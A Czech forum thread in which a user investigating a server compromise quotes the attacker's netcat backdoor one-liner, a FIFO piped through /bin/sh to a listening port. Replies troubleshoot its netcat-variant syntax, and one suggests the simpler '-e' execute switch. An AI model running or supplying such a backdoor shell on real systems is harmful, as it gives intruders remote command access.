Dotaz: netcat a zadní vrátka

[Karel Marhoul]

Zdravím,

nedávno jsem vyšetřoval hackerský průnik na jeden starší linuxový server. Zaujal mě způsob, jakým si útočník pod neprivilegovaným uživatelem otevřel zadní vrátka - shell, na portu 1234:

rm -f /tmp/f
mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f

Když jsem však totéž nyní zkoušel na svém Debian Stable serveru, příkaz se chová tak, že netcat otevře náhodný vysoký port (místo portu 1234):

kmarhoul@debian:~$ netstat  -nlpt
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:48705           0.0.0.0:*               LISTEN      12546/nc        
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:48886           0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -               
tcp6       0      0 :::443                  :::*                    LISTEN      -               
tcp6       0      0 :::43168                :::*                    LISTEN      -               
tcp6       0      0 :::111                  :::*                    LISTEN      -               
tcp6       0      0 :::80                   :::*                    LISTEN      -               
tcp6       0      0 :::22                   :::*                    LISTEN      -               
tcp6       0      0 ::1:25                  :::*                    LISTEN      -     

A po vzdáleném připojení na tento port výše uvedené havaruje a shell nedostanu:

kmarhoul@debian:~$ cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f
invalid connection to [85.255.X.X] from (UNKNOWN) [95.82.X.X] 27619

Zkoušel jsem to ještě na jiném serveru (také Debian Jessie) a stejné chování, přitom na kompromitovaném serveru to prošlo. Nevíte prosím někdo, čím to může být?

Odpovědi

[pepe_]

Není to podle verze  ? netcat-traditional , netcat-openbsd , netcat6 pak v novějších verzích třeba je nutné zadávat parametry -p 1234  místo   bez portu.. něco z toho bude pravda podle mne.

[marian34]

Neodpoviem, ale sa spýtam ako si sa vzdialene pripojil na ten port?

[mhepp]

Prvně předpokládám, že localhost je pouze pro ilustraci příkazu, ne reálná adresa. Potom připojení je jednoduché:

telnet IP.AD.RE.SA 1234

[marian34]

ok, dík, ale skôr

netcat host port

[marian34]

U mňa funkčné

~$ netcat -h
OpenBSD netcat (Debian patchlevel 1.89-4ubuntu1)
This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.

[Michal Kubeček]

U openbsd netcatu je syntaxe pro listening "netcat -l 1234", ale u některých jiných verzí "netcat -l -p 1234".

[pc2005]

Jj netcat používá "-l ... -p" pro server a nic pro klienta.

[Michal Kubeček]

To je dost předčasná otázka v okamžiku, kdy má tazatel problém s tím, že mu ani ten listening socket neposlouchá na požadovaném portu.

[pc2005]

Teda ale slabý útočník. Mělo by stačit použít přepínač -e (jako execute) .